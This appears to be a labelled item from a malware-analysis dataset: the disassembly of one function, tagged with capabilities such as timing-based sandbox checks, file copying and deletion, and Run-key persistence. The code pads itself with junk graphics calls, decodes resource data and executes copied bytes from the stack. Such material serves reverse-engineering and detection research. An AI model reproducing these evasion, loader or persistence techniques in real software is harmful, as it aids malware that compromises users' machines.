Function at 0x48c9e8
Capabilities:
Check for time delay via gettickcount
Copy file
Delete file
Get common file path
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0x238
push 0
push 0
dec ecx
jne 0x48c9f0
push ebx
push esi
xor eax, eax
push ebp
push 0x48e47c
push dword fs:[eax]
mov dword fs:[eax], esp
nop
nop
push 0x89068014
call sub.gdi32.dll_GetPolyFillMode
imul ecx, ebx
lea edx, [eax + eax]
xor ecx, edx
add ecx, eax
push 0xa
pop ecx
push 0x7af75b21
call sub.gdi32.dll_GetDCBrushColor
test eax, 0x28
jne 0x48ca33
xor ebx, eax
push edx
call sub.gdi32.dll_GetROP2
push 0x52
call sub.gdi32.dll_GetROP2
push 0x52
call sub.gdi32.dll_GetROP2
call sub.kernel32.dll_GetTickCount
mov ebx, eax
push 0x1f4
call sub.kernel32.dll_Sleep_2
call sub.kernel32.dll_GetTickCount
sub eax, ebx
cmp eax, 0x1f3
jae 0x48ca6d
push 0
call sub.kernel32.dll_ExitProcess_1
push 0x89068014
call sub.gdi32.dll_GetPolyFillMode
imul ecx, ebx
lea edx, [eax + eax]
xor ecx, edx
add ecx, eax
push 0xa
pop ecx
push 0x7af75b21
call sub.gdi32.dll_GetDCBrushColor
test eax, 0x28
jne 0x48ca97
xor ebx, eax
push edx
call sub.gdi32.dll_GetROP2
push 0x52
call sub.gdi32.dll_GetROP2
push 0x52
call sub.gdi32.dll_GetROP2
push 0x48e494
push 0xa
mov ecx, dword [0x4957f4]
mov dl, 1
mov eax, dword [0x4132e4]
call fcn.00417dd4
mov ebx, eax
mov eax, ebx
mov edx, dword [eax]
call dword [edx]
mov esi, eax
lea eax, [ebp - 0x34c]
mov edx, esi
call fcn.004054ec
lea eax, [ebp - 0x34c]
call fcn.004052bc
mov edx, eax
mov eax, dword [ebx + 4]
mov ecx, esi
call fcn.00402ee0
mov eax, ebx
call fcn.00403f58
push 0x89068014
call sub.gdi32.dll_GetPolyFillMode
imul ecx, ebx
lea edx, [eax + eax]
xor ecx, edx
add ecx, eax
push 0xa
pop ecx
push 0x7af75b21
call sub.gdi32.dll_GetDCBrushColor
test eax, 0x28
jne 0x48cb23
xor ebx, eax
push edx
call sub.gdi32.dll_GetROP2
push 0x52
call sub.gdi32.dll_GetROP2
push 0x52
call sub.gdi32.dll_GetROP2
lea edx, [ebp - 0x350]
mov eax, dword [ebp - 0x34c]
call fcn.0048c0e8
push 0x89068014
call sub.gdi32.dll_GetPolyFillMode
imul ecx, ebx
lea edx, [eax + eax]
xor ecx, edx
add ecx, eax
push 0xa
pop ecx
push 0x7af75b21
call sub.gdi32.dll_GetDCBrushColor
test eax, 0x28
jne 0x48cb72
xor ebx, eax
push edx
call sub.gdi32.dll_GetROP2
push 0x52
call sub.gdi32.dll_GetROP2
push 0x52
call sub.gdi32.dll_GetROP2
lea edx, [ebp - 0x1158]
mov eax, 0x1c
call fcn.0048c8c4
lea eax, [ebp - 0x1158]
mov edx, 0x48e4a4
call fcn.0040506c
mov eax, dword [ebp - 0x1158]
call fcn.00405264
mov edx, eax
lea eax, [ebp - 0x1154]
call fcn.00404f98
mov eax, dword [ebp - 0x1154]
call fcn.0040933c
test al, al
jne 0x48cc59
nop
nop
nop
nop
nop
nop
nop
push 0x89068014
call sub.gdi32.dll_GetPolyFillMode
imul ecx, ebx
lea edx, [eax + eax]
xor ecx, edx
add ecx, eax
push 0xa
pop ecx
push 0x7af75b21
call sub.gdi32.dll_GetDCBrushColor
test eax, 0x28
jne 0x48cc02
xor ebx, eax
push edx
call sub.gdi32.dll_GetROP2
push 0x52
call sub.gdi32.dll_GetROP2
push 0x52
call sub.gdi32.dll_GetROP2
lea edx, [ebp - 0x1160]
mov eax, 0x1c
call fcn.0048c8c4
lea eax, [ebp - 0x1160]
mov edx, 0x48e4a4
call fcn.0040506c
mov eax, dword [ebp - 0x1160]
call fcn.00405264
mov edx, eax
lea eax, [ebp - 0x115c]
call fcn.00404f98
mov eax, dword [ebp - 0x115c]
call fcn.0040954c
push 0x89068014
call sub.gdi32.dll_GetPolyFillMode
imul ecx, ebx
lea edx, [eax + eax]
xor ecx, edx
add ecx, eax
push 0xa
pop ecx
push 0x7af75b21
call sub.gdi32.dll_GetDCBrushColor
test eax, 0x28
jne 0x48cc83
xor ebx, eax
push edx
call sub.gdi32.dll_GetROP2
push 0x52
call sub.gdi32.dll_GetROP2
push 0x52
call sub.gdi32.dll_GetROP2
push 0xa
mov eax, dword [ebp - 0x350]
call fcn.00405264
push eax
mov eax, dword [0x4957f4]
push eax
call sub.kernel32.dll_FindResourceA
test eax, eax
je 0x48cdb3
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
push 0x89068014
call sub.gdi32.dll_GetPolyFillMode
imul ecx, ebx
lea edx, [eax + eax]
xor ecx, edx
add ecx, eax
push 0xa
pop ecx
push 0x7af75b21
call sub.gdi32.dll_GetDCBrushColor
test eax, 0x28
jne 0x48cced
xor ebx, eax
push edx
call sub.gdi32.dll_GetROP2
push 0x52
call sub.gdi32.dll_GetROP2
push 0x52
call sub.gdi32.dll_GetROP2
mov eax, dword [ebp - 0x350]
push eax
push 0xa
mov ecx, dword [0x4957f4]
mov dl, 1
mov eax, dword [0x4132e4]
call fcn.00417dd4
mov ebx, eax
mov eax, ebx
mov edx, dword [eax]
call dword [edx]
mov esi, eax
lea eax, [ebp - 0x2f0]
mov edx, esi
call fcn.004054ec
lea eax, [ebp - 0x2f0]
call fcn.004052bc
mov edx, eax
mov eax, dword [ebx + 4]
mov ecx, esi
call fcn.00402ee0
mov eax, ebx
call fcn.00403f58
push 0x89068014
call sub.gdi32.dll_GetPolyFillMode
imul ecx, ebx
lea edx, [eax + eax]
xor ecx, edx
add ecx, eax
push 0xa
pop ecx
push 0x7af75b21
call sub.gdi32.dll_GetDCBrushColor
test eax, 0x28
jne 0x48cd7b
xor ebx, eax
push edx
call sub.gdi32.dll_GetROP2
push 0x52
call sub.gdi32.dll_GetROP2
push 0x52
call sub.gdi32.dll_GetROP2
lea edx, [ebp - 0x1164]
mov eax, dword [ebp - 0x2f0]
call fcn.0048c168
mov eax, dword [ebp - 0x1164]
lea edx, [ebp - 0x2f4]
call fcn.0048c0e8
jmp 0x48ce14
nop
nop
nop
nop
nop
push 0x89068014
call sub.gdi32.dll_GetPolyFillMode
imul ecx, ebx
lea edx, [eax + eax]
xor ecx, edx
add ecx, eax
push 0xa
pop ecx
push 0x7af75b21
call sub.gdi32.dll_GetDCBrushColor
test eax, 0x28
jne 0x48cde2
xor ebx, eax
push edx
call sub.gdi32.dll_GetROP2
push 0x52
call sub.gdi32.dll_GetROP2
push 0x52
call sub.gdi32.dll_GetROP2
lea edx, [ebp - 0x1168]
xor eax, eax
call fcn.004030dc
mov eax, dword [ebp - 0x1168]
lea edx, [ebp - 0x2f4]
call fcn.0048c768
push 0x89068014
call sub.gdi32.dll_GetPolyFillMode
imul ecx, ebx
lea edx, [eax + eax]
xor ecx, edx
add ecx, eax
push 0xa
pop ecx
push 0x7af75b21
call sub.gdi32.dll_GetDCBrushColor
test eax, 0x28
jne 0x48ce3e
xor ebx, eax
push edx
call sub.gdi32.dll_GetROP2
push 0x52
call sub.gdi32.dll_GetROP2
push 0x52
call sub.gdi32.dll_GetROP2
lea eax, [ebp - 0x116c]
mov edx, dword [0x492858]
call fcn.00405028
mov edx, dword [ebp - 0x116c]
lea ecx, [ebp - 0x354]
mov eax, dword [ebp - 0x2f4]
call fcn.0048c674
push 0x89068014
call sub.gdi32.dll_GetPolyFillMode
imul ecx, ebx
lea edx, [eax + eax]
xor ecx, edx
add ecx, eax
push 0xa
pop ecx
push 0x7af75b21
call sub.gdi32.dll_GetDCBrushColor
test eax, 0x28
jne 0x48cea4
xor ebx, eax
push edx
call sub.gdi32.dll_GetROP2
push 0x52
call sub.gdi32.dll_GetROP2
push 0x52
call sub.gdi32.dll_GetROP2
lea eax, [ebp - 0x2e8]
mov edx, dword [ebp - 0x354]
mov edx, dword [edx + 4]
call fcn.00404e38
push 0x89068014
call sub.gdi32.dll_GetPolyFillMode
imul ecx, ebx
lea edx, [eax + eax]
xor ecx, edx
add ecx, eax
push 0xa
pop ecx
push 0x7af75b21
call sub.gdi32.dll_GetDCBrushColor
test eax, 0x28
jne 0x48cef6
xor ebx, eax
push edx
call sub.gdi32.dll_GetROP2
push 0x52
call sub.gdi32.dll_GetROP2
push 0x52
call sub.gdi32.dll_GetROP2
lea eax, [ebp - 0x2ec]
mov edx, dword [ebp - 0x354]
mov edx, dword [edx + 8]
call fcn.00404e38
push 0x89068014
call sub.gdi32.dll_GetPolyFillMode
imul ecx, ebx
lea edx, [eax + eax]
xor ecx, edx
add ecx, eax
push 0xa
pop ecx
push 0x7af75b21
call sub.gdi32.dll_GetDCBrushColor
test eax, 0x28
jne 0x48cf48
xor ebx, eax
push edx
call sub.gdi32.dll_GetROP2
push 0x52
call sub.gdi32.dll_GetROP2
push 0x52
call sub.gdi32.dll_GetROP2
lea eax, [ebp - 0x2e0]
mov edx, dword [ebp - 0x354]
mov edx, dword [edx + 0xc]
call fcn.00404e38
push 0x89068014
call sub.gdi32.dll_GetPolyFillMode
imul ecx, ebx
lea edx, [eax + eax]
xor ecx, edx
add ecx, eax
push 0xa
pop ecx
push 0x7af75b21
call sub.gdi32.dll_GetDCBrushColor
test eax, 0x28
jne 0x48cf9a
xor ebx, eax
push edx
call sub.gdi32.dll_GetROP2
push 0x52
call sub.gdi32.dll_GetROP2
push 0x52
call sub.gdi32.dll_GetROP2
lea eax, [ebp - 0x2d4]
mov edx, dword [ebp - 0x354]
mov edx, dword [edx + 0x10]
call fcn.00404e38
push 0x89068014
call sub.gdi32.dll_GetPolyFillMode
imul ecx, ebx
lea edx, [eax + eax]
xor ecx, edx
add ecx, eax
push 0xa
pop ecx
push 0x7af75b21
call sub.gdi32.dll_GetDCBrushColor
test eax, 0x28
jne 0x48cfec
xor ebx, eax
push edx
call sub.gdi32.dll_GetROP2
push 0x52
call sub.gdi32.dll_GetROP2
push 0x52
call sub.gdi32.dll_GetROP2
lea eax, [ebp - 0x2f8]
mov edx, dword [ebp - 0x354]
mov edx, dword [edx + 0x14]
call fcn.00404e38
push 0x89068014
call sub.gdi32.dll_GetPolyFillMode
imul ecx, ebx
lea edx, [eax + eax]
xor ecx, edx
add ecx, eax
push 0xa
pop ecx
push 0x7af75b21
call sub.gdi32.dll_GetDCBrushColor
test eax, 0x28
jne 0x48d03e
xor ebx, eax
push edx
call sub.gdi32.dll_GetROP2
push 0x52
call sub.gdi32.dll_GetROP2
push 0x52
call sub.gdi32.dll_GetROP2
lea eax, [ebp - 0x2d8]
mov edx, dword [ebp - 0x354]
mov edx, dword [edx + 0x18]
call fcn.00404e38
push 0x89068014
call sub.gdi32.dll_GetPolyFillMode
imul ecx, ebx
lea edx, [eax + eax]
xor ecx, edx
add ecx, eax
push 0xa
pop ecx
push 0x7af75b21
call sub.gdi32.dll_GetDCBrushColor
test eax, 0x28
jne 0x48d090
xor ebx, eax
push edx
call sub.gdi32.dll_GetROP2
push 0x52
call sub.gdi32.dll_GetROP2
push 0x52
call sub.gdi32.dll_GetROP2
lea eax, [ebp - 0x318]
mov edx, dword [ebp - 0x354]
mov edx, dword [edx + 0x1c]
call fcn.00404e38
push 0x89068014
call sub.gdi32.dll_GetPolyFillMode
imul ecx, ebx
lea edx, [eax + eax]
xor ecx, edx
add ecx, eax
push 0xa
pop ecx
push 0x7af75b21
call sub.gdi32.dll_GetDCBrushColor
test eax, 0x28
jne 0x48d0e2
xor ebx, eax
push edx
call sub.gdi32.dll_GetROP2
push 0x52
call sub.gdi32.dll_GetROP2
push 0x52
call sub.gdi32.dll_GetROP2
lea eax, [ebp - 0x314]
mov edx, dword [ebp - 0x354]
mov edx, dword [edx + 0x20]
call fcn.00404e38
push 0x89068014
call sub.gdi32.dll_GetPolyFillMode
imul ecx, ebx
lea edx, [eax + eax]
xor ecx, edx
add ecx, eax
push 0xa
pop ecx
push 0x7af75b21
call sub.gdi32.dll_GetDCBrushColor
test eax, 0x28
jne 0x48d134
xor ebx, eax
push edx
call sub.gdi32.dll_GetROP2
push 0x52
call sub.gdi32.dll_GetROP2
push 0x52
call sub.gdi32.dll_GetROP2
lea eax, [ebp - 0x300]
mov edx, dword [ebp - 0x354]
mov edx, dword [edx + 0x24]
call fcn.00404e38
push 0x89068014
call sub.gdi32.dll_GetPolyFillMode
imul ecx, ebx
lea edx, [eax + eax]
xor ecx, edx
add ecx, eax
push 0xa
pop ecx
push 0x7af75b21
call sub.gdi32.dll_GetDCBrushColor
test eax, 0x28
jne 0x48d186
xor ebx, eax
push edx
call sub.gdi32.dll_GetROP2
push 0x52
call sub.gdi32.dll_GetROP2
push 0x52
call sub.gdi32.dll_GetROP2
lea eax, [ebp - 0x320]
mov edx, dword [ebp - 0x354]
mov edx, dword [edx + 0x28]
call fcn.00404e38
push 0x89068014
call sub.gdi32.dll_GetPolyFillMode
imul ecx, ebx
lea edx, [eax + eax]
xor ecx, edx
add ecx, eax
push 0xa
pop ecx
push 0x7af75b21
call sub.gdi32.dll_GetDCBrushColor
test eax, 0x28
jne 0x48d1d8
xor ebx, eax
push edx
call sub.gdi32.dll_GetROP2
push 0x52
call sub.gdi32.dll_GetROP2
push 0x52
call sub.gdi32.dll_GetROP2
lea eax, [ebp - 0x2d0]
mov edx, dword [ebp - 0x354]
mov edx, dword [edx + 0x2c]
call fcn.00404e38
push 0x89068014
call sub.gdi32.dll_GetPolyFillMode
imul ecx, ebx
lea edx, [eax + eax]
xor ecx, edx
add ecx, eax
push 0xa
pop ecx
push 0x7af75b21
call sub.gdi32.dll_GetDCBrushColor
test eax, 0x28
jne 0x48d22a
xor ebx, eax
push edx
call sub.gdi32.dll_GetROP2
push 0x52
call sub.gdi32.dll_GetROP2
push 0x52
call sub.gdi32.dll_GetROP2
lea eax, [ebp - 0x2fc]
mov edx, dword [ebp - 0x354]
mov edx, dword [edx + 0x30]
call fcn.00404e38
push 0x89068014
call sub.gdi32.dll_GetPolyFillMode
imul ecx, ebx
lea edx, [eax + eax]
xor ecx, edx
add ecx, eax
push 0xa
pop ecx
push 0x7af75b21
call sub.gdi32.dll_GetDCBrushColor
test eax, 0x28
jne 0x48d27c
xor ebx, eax
push edx
call sub.gdi32.dll_GetROP2
push 0x52
call sub.gdi32.dll_GetROP2
push 0x52
call sub.gdi32.dll_GetROP2
lea eax, [ebp - 0x31c]
mov edx, dword [ebp - 0x354]
mov edx, dword [edx + 0x34]
call fcn.00404e38
push 0x89068014
call sub.gdi32.dll_GetPolyFillMode
imul ecx, ebx
lea edx, [eax + eax]
xor ecx, edx
add ecx, eax
push 0xa
pop ecx
push 0x7af75b21
call sub.gdi32.dll_GetDCBrushColor
test eax, 0x28
jne 0x48d2ce
xor ebx, eax
push edx
call sub.gdi32.dll_GetROP2
push 0x52
call sub.gdi32.dll_GetROP2
push 0x52
call sub.gdi32.dll_GetROP2
lea eax, [ebp - 0x2cc]
mov edx, dword [ebp - 0x354]
mov edx, dword [edx + 0x38]
call fcn.00404e38
push 0x89068014
call sub.gdi32.dll_GetPolyFillMode
imul ecx, ebx
lea edx, [eax + eax]
xor ecx, edx
add ecx, eax
push 0xa
pop ecx
push 0x7af75b21
call sub.gdi32.dll_GetDCBrushColor
test eax, 0x28
jne 0x48d320
xor ebx, eax
push edx
call sub.gdi32.dll_GetROP2
push 0x52
call sub.gdi32.dll_GetROP2
push 0x52
call sub.gdi32.dll_GetROP2
lea eax, [ebp - 0x32c]
mov edx, dword [ebp - 0x354]
mov edx, dword [edx + 0x3c]
call fcn.00404e38
push 0x89068014
call sub.gdi32.dll_GetPolyFillMode
imul ecx, ebx
lea edx, [eax + eax]
xor ecx, edx
add ecx, eax
push 0xa
pop ecx
push 0x7af75b21
call sub.gdi32.dll_GetDCBrushColor
test eax, 0x28
jne 0x48d372
xor ebx, eax
push edx
call sub.gdi32.dll_GetROP2
push 0x52
call sub.gdi32.dll_GetROP2
push 0x52
call sub.gdi32.dll_GetROP2
lea eax, [ebp - 0x338]
mov edx, dword [ebp - 0x354]
mov edx, dword [edx + 0x40]
call fcn.00404e38
push 0x89068014
call sub.gdi32.dll_GetPolyFillMode
imul ecx, ebx
lea edx, [eax + eax]
xor ecx, edx
add ecx, eax
push 0xa
pop ecx
push 0x7af75b21
call sub.gdi32.dll_GetDCBrushColor
test eax, 0x28
jne 0x48d3c4
xor ebx, eax
push edx
call sub.gdi32.dll_GetROP2
push 0x52
call sub.gdi32.dll_GetROP2
push 0x52
call sub.gdi32.dll_GetROP2
lea eax, [ebp - 0x33c]
mov edx, dword [ebp - 0x354]
mov edx, dword [edx + 0x44]
call fcn.00404e38
push 0x89068014
call sub.gdi32.dll_GetPolyFillMode
imul ecx, ebx
lea edx, [eax + eax]
xor ecx, edx
add ecx, eax
push 0xa
pop ecx
push 0x7af75b21
call sub.gdi32.dll_GetDCBrushColor
test eax, 0x28
jne 0x48d416
xor ebx, eax
push edx
call sub.gdi32.dll_GetROP2
push 0x52
call sub.gdi32.dll_GetROP2
push 0x52
call sub.gdi32.dll_GetROP2
lea eax, [ebp - 0x340]
mov edx, dword [ebp - 0x354]
mov edx, dword [edx + 0x48]
call fcn.00404e38
push 0x89068014
call sub.gdi32.dll_GetPolyFillMode
imul ecx, ebx
lea edx, [eax + eax]
xor ecx, edx
add ecx, eax
push 0xa
pop ecx
push 0x7af75b21
call sub.gdi32.dll_GetDCBrushColor
test eax, 0x28
jne 0x48d468
xor ebx, eax
push edx
call sub.gdi32.dll_GetROP2
push 0x52
call sub.gdi32.dll_GetROP2
push 0x52
call sub.gdi32.dll_GetROP2
lea eax, [ebp - 0x344]
mov edx, dword [ebp - 0x354]
mov edx, dword [edx + 0x4c]
call fcn.00404e38
push 0x89068014
call sub.gdi32.dll_GetPolyFillMode
imul ecx, ebx
lea edx, [eax + eax]
xor ecx, edx
add ecx, eax
push 0xa
pop ecx
push 0x7af75b21
call sub.gdi32.dll_GetDCBrushColor
test eax, 0x28
jne 0x48d4ba
xor ebx, eax
push edx
call sub.gdi32.dll_GetROP2
push 0x52
call sub.gdi32.dll_GetROP2
push 0x52
call sub.gdi32.dll_GetROP2
lea eax, [ebp - 0x348]
mov edx, dword [ebp - 0x354]
mov edx, dword [edx + 0x50]
call fcn.00404e38
push 0x89068014
call sub.gdi32.dll_GetPolyFillMode
imul ecx, ebx
lea edx, [eax + eax]
xor ecx, edx
add ecx, eax
push 0xa
pop ecx
push 0x7af75b21
call sub.gdi32.dll_GetDCBrushColor
test eax, 0x28
jne 0x48d50c
xor ebx, eax
push edx
call sub.gdi32.dll_GetROP2
push 0x52
call sub.gdi32.dll_GetROP2
push 0x52
call sub.gdi32.dll_GetROP2
lea eax, [ebp - 0x308]
mov edx, dword [ebp - 0x354]
mov edx, dword [edx + 0x54]
call fcn.00404e38
push 0x89068014
call sub.gdi32.dll_GetPolyFillMode
imul ecx, ebx
lea edx, [eax + eax]
xor ecx, edx
add ecx, eax
push 0xa
pop ecx
push 0x7af75b21
call sub.gdi32.dll_GetDCBrushColor
test eax, 0x28
jne 0x48d55e
xor ebx, eax
push edx
call sub.gdi32.dll_GetROP2
push 0x52
call sub.gdi32.dll_GetROP2
push 0x52
call sub.gdi32.dll_GetROP2
mov eax, dword [ebp - 0x2ec]
call fcn.00408ec4
mov edx, eax
lea ecx, [ebp - 0x2dc]
mov eax, dword [ebp - 0x2e0]
call fcn.0048c5c0
push 0x89068014
call sub.gdi32.dll_GetPolyFillMode
imul ecx, ebx
lea edx, [eax + eax]
xor ecx, edx
add ecx, eax
push 0xa
pop ecx
push 0x7af75b21
call sub.gdi32.dll_GetDCBrushColor
test eax, 0x28
jne 0x48d5ba
xor ebx, eax
push edx
call sub.gdi32.dll_GetROP2
push 0x52
call sub.gdi32.dll_GetROP2
push 0x52
call sub.gdi32.dll_GetROP2
lea ecx, [ebp - 0x1170]
mov edx, dword [ebp - 0x2e8]
mov eax, dword [ebp - 0x2dc]
call fcn.0048c4a0
mov eax, dword [ebp - 0x1170]
lea edx, [ebp - 0x2e4]
call fcn.0048c0e8
push 0x89068014
call sub.gdi32.dll_GetPolyFillMode
imul ecx, ebx
lea edx, [eax + eax]
xor ecx, edx
add ecx, eax
push 0xa
pop ecx
push 0x7af75b21
call sub.gdi32.dll_GetDCBrushColor
test eax, 0x28
jne 0x48d620
xor ebx, eax
push edx
call sub.gdi32.dll_GetROP2
push 0x52
call sub.gdi32.dll_GetROP2
push 0x52
call sub.gdi32.dll_GetROP2
lea eax, [ebp - 4]
push eax
lea edx, [ebp - 0x1178]
mov eax, dword [ebp - 0x2e4]
call fcn.0048c168
mov eax, dword [ebp - 0x1178]
lea edx, [ebp - 0x1174]
call fcn.0048c42c
mov eax, dword [ebp - 0x1174]
xor ecx, ecx
mov edx, dword [ebp - 0x2e8]
call fcn.0048c2f8
push 0x89068014
call sub.gdi32.dll_GetPolyFillMode
imul ecx, ebx
lea edx, [eax + eax]
xor ecx, edx
add ecx, eax
push 0xa
pop ecx
push 0x7af75b21
call sub.gdi32.dll_GetDCBrushColor
test eax, 0x28
jne 0x48d697
xor ebx, eax
push edx
call sub.gdi32.dll_GetROP2
push 0x52
call sub.gdi32.dll_GetROP2
push 0x52
call sub.gdi32.dll_GetROP2
mov eax, dword [ebp - 0x314]
mov edx, 0x48e4b4
call fcn.004051b0
jne 0x48d7c9
nop
nop
nop
nop
push 0x89068014
call sub.gdi32.dll_GetPolyFillMode
imul ecx, ebx
lea edx, [eax + eax]
xor ecx, edx
add ecx, eax
push 0xa
pop ecx
push 0x7af75b21
call sub.gdi32.dll_GetDCBrushColor
test eax, 0x28
jne 0x48d6ef
xor ebx, eax
push edx
call sub.gdi32.dll_GetROP2
push 0x52
call sub.gdi32.dll_GetROP2
push 0x52
call sub.gdi32.dll_GetROP2
mov eax, dword [ebp - 0x2ec]
call fcn.00408ec4
mov edx, eax
lea ecx, [ebp - 0x310]
mov eax, dword [ebp - 0x318]
call fcn.0048c5c0
push 0x89068014
call sub.gdi32.dll_GetPolyFillMode
imul ecx, ebx
lea edx, [eax + eax]
xor ecx, edx
add ecx, eax
push 0xa
pop ecx
push 0x7af75b21
call sub.gdi32.dll_GetDCBrushColor
test eax, 0x28
jne 0x48d74b
xor ebx, eax
push edx
call sub.gdi32.dll_GetROP2
push 0x52
call sub.gdi32.dll_GetROP2
push 0x52
call sub.gdi32.dll_GetROP2
mov eax, dword [ebp - 0x310]
test eax, eax
je 0x48d76e
sub eax, 4
mov eax, dword [eax]
lea edx, [ebp - 0x2ba]
mov ecx, dword [ebp - 0x310]
xchg ecx, eax
call fcn.00402ee0
push 0x89068014
call sub.gdi32.dll_GetPolyFillMode
imul ecx, ebx
lea edx, [eax + eax]
xor ecx, edx
add ecx, eax
push 0xa
pop ecx
push 0x7af75b21
call sub.gdi32.dll_GetDCBrushColor
test eax, 0x28
jne 0x48d7aa
xor ebx, eax
push edx
call sub.gdi32.dll_GetROP2
push 0x52
call sub.gdi32.dll_GetROP2
push 0x52
call sub.gdi32.dll_GetROP2
mov eax, dword [ebp - 4]
lea ebx, [ebp - 0x2ba]
call ebx
push 0x89068014
call sub.gdi32.dll_GetPolyFillMode
imul ecx, ebx
lea edx, [eax + eax]
xor ecx, edx
add ecx, eax
push 0xa
pop ecx
push 0x7af75b21
call sub.gdi32.dll_GetDCBrushColor
test eax, 0x28
jne 0x48d7f3
xor ebx, eax
push edx
call sub.gdi32.dll_GetROP2
push 0x52
call sub.gdi32.dll_GetROP2
push 0x52
call sub.gdi32.dll_GetROP2
mov eax, dword [ebp - 0x2d8]
mov edx, 0x48e4b4
call fcn.004051b0
jne 0x48d86c
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
push 0x89068014
call sub.gdi32.dll_GetPolyFillMode
imul ecx, ebx
lea edx, [eax + eax]
xor ecx, edx
add ecx, eax
push 0xa
pop ecx
push 0x7af75b21
call sub.gdi32.dll_GetDCBrushColor
test eax, 0x28
jne 0x48d853
xor ebx, eax
push edx
call sub.gdi32.dll_GetROP2
push 0x52
call sub.gdi32.dll_GetROP2
push 0x52
call sub.gdi32.dll_GetROP2
mov eax, dword [ebp - 4]
call eax
push 0x89068014
call sub.gdi32.dll_GetPolyFillMode
imul ecx, ebx
lea edx, [eax + eax]
xor ecx, edx
add ecx, eax
push 0xa
pop ecx
push 0x7af75b21
call sub.gdi32.dll_GetDCBrushColor
test eax, 0x28
jne 0x48d896
xor ebx, eax
push edx
call sub.gdi32.dll_GetROP2
push 0x52
call sub.gdi32.dll_GetROP2
push 0x52
call sub.gdi32.dll_GetROP2
mov eax, dword [ebp - 0x2f8]
mov edx, 0x48e4b4
call fcn.004051b0
jne 0x48da1c
mov eax, dword [ebp - 0x2d0]
mov edx, 0x48e4b4
call fcn.004051b0
jne 0x48da1c
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
push 0x89068014
call sub.gdi32.dll_GetPolyFillMode
imul ecx, ebx
lea edx, [eax + eax]
xor ecx, edx
add ecx, eax
push 0xa
pop ecx
push 0x7af75b21
call sub.gdi32.dll_GetDCBrushColor
test eax, 0x28
jne 0x48d90d
xor ebx, eax
push edx
call sub.gdi32.dll_GetROP2
push 0x52
call sub.gdi32.dll_GetROP2
push 0x52
call sub.gdi32.dll_GetROP2
mov eax, dword [ebp - 0x2ec]
call fcn.00408ec4
mov edx, eax
lea ecx, [ebp - 0x304]
mov eax, dword [ebp - 0x300]
call fcn.0048c5c0
push 0x89068014
call sub.gdi32.dll_GetPolyFillMode
imul ecx, ebx
lea edx, [eax + eax]
xor ecx, edx
add ecx, eax
push 0xa
pop ecx
push 0x7af75b21
call sub.gdi32.dll_GetDCBrushColor
test eax, 0x28
jne 0x48d969
xor ebx, eax
push edx
call sub.gdi32.dll_GetROP2
push 0x52
call sub.gdi32.dll_GetROP2
push 0x52
call sub.gdi32.dll_GetROP2
mov eax, dword [ebp - 0x304]
test eax, eax
je 0x48d98c
sub eax, 4
mov eax, dword [eax]
lea edx, [ebp - 0xf84]
mov ecx, dword [ebp - 0x304]
xchg ecx, eax
call fcn.00402ee0
push 0x89068014
call sub.gdi32.dll_GetPolyFillMode
imul ecx, ebx
lea edx, [eax + eax]
xor ecx, edx
add ecx, eax
push 0xa
pop ecx
push 0x7af75b21
call sub.gdi32.dll_GetDCBrushColor
test eax, 0x28
jne 0x48d9c8
xor ebx, eax
push edx
call sub.gdi32.dll_GetROP2
push 0x52
call sub.gdi32.dll_GetROP2
push 0x52
call sub.gdi32.dll_GetROP2
lea ebx, [ebp - 0xf84]
lea eax, [ebp - 4]
call fcn.004052bc
push eax
push 0x48e4b8
lea edx, [ebp - 0x1180]
xor eax, eax
call fcn.004030dc
mov edx, dword [ebp - 0x1180]
lea eax, [ebp - 0x117c]
call fcn.004056d0
mov eax, dword [ebp - 0x117c]
call fcn.004056e0
push eax
call ebx
push 0x89068014
call sub.gdi32.dll_GetPolyFillMode
imul ecx, ebx
lea edx, [eax + eax]
xor ecx, edx
add ecx, eax
push 0xa
pop ecx
push 0x7af75b21
call sub.gdi32.dll_GetDCBrushColor
test eax, 0x28
jne 0x48da46
xor ebx, eax
push edx
call sub.gdi32.dll_GetROP2
push 0x52
call sub.gdi32.dll_GetROP2
push 0x52
call sub.gdi32.dll_GetROP2
mov eax, dword [ebp - 0x2f8]
mov edx, 0x48e4b4
call fcn.004051b0
jne 0x48dbd0
mov eax, dword [ebp - 0x2d0]
mov edx, 0x48e4b4
call fcn.004051b0
je 0x48dbd0
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
push 0x89068014
call sub.gdi32.dll_GetPolyFillMode
imul ecx, ebx
lea edx, [eax + eax]
xor ecx, edx
add ecx, eax
push 0xa
pop ecx
push 0x7af75b21
call sub.gdi32.dll_GetDCBrushColor
test eax, 0x28
jne 0x48dabe
xor ebx, eax
push edx
call sub.gdi32.dll_GetROP2
push 0x52
call sub.gdi32.dll_GetROP2
push 0x52
call sub.gdi32.dll_GetROP2
mov eax, dword [ebp - 0x2ec]
call fcn.00408ec4
mov edx, eax
lea ecx, [ebp - 0x304]
mov eax, dword [ebp - 0x300]
call fcn.0048c5c0
push 0x89068014
call sub.gdi32.dll_GetPolyFillMode
imul ecx, ebx
lea edx, [eax + eax]
xor ecx, edx
add ecx, eax
push 0xa
pop ecx
push 0x7af75b21
call sub.gdi32.dll_GetDCBrushColor
test eax, 0x28
jne 0x48db1a
xor ebx, eax
push edx
call sub.gdi32.dll_GetROP2
push 0x52
call sub.gdi32.dll_GetROP2
push 0x52
call sub.gdi32.dll_GetROP2
mov eax, dword [ebp - 0x304]
test eax, eax
je 0x48db3d
sub eax, 4
mov eax, dword [eax]
lea edx, [ebp - 0xf84]
mov ecx, dword [ebp - 0x304]
xchg ecx, eax
call fcn.00402ee0
push 0x89068014
call sub.gdi32.dll_GetPolyFillMode
imul ecx, ebx
lea edx, [eax + eax]
xor ecx, edx
add ecx, eax
push 0xa
pop ecx
push 0x7af75b21
call sub.gdi32.dll_GetDCBrushColor
test eax, 0x28
jne 0x48db79
xor ebx, eax
push edx
call sub.gdi32.dll_GetROP2
push 0x52
call sub.gdi32.dll_GetROP2
push 0x52
call sub.gdi32.dll_GetROP2
lea ebx, [ebp - 0xf84]
call fcn.0048c924
test al, al
je 0x48dbb6
nop
nop
nop
lea eax, [ebp - 4]
call fcn.004052bc
push eax
push 0x48e4b8
push 0x48e4bc
call ebx
jmp 0x48dbd0
nop
nop
nop
nop
nop
lea eax, [ebp - 4]
call fcn.004052bc
push eax
push 0x48e4b8
push 0x48e500
call ebx
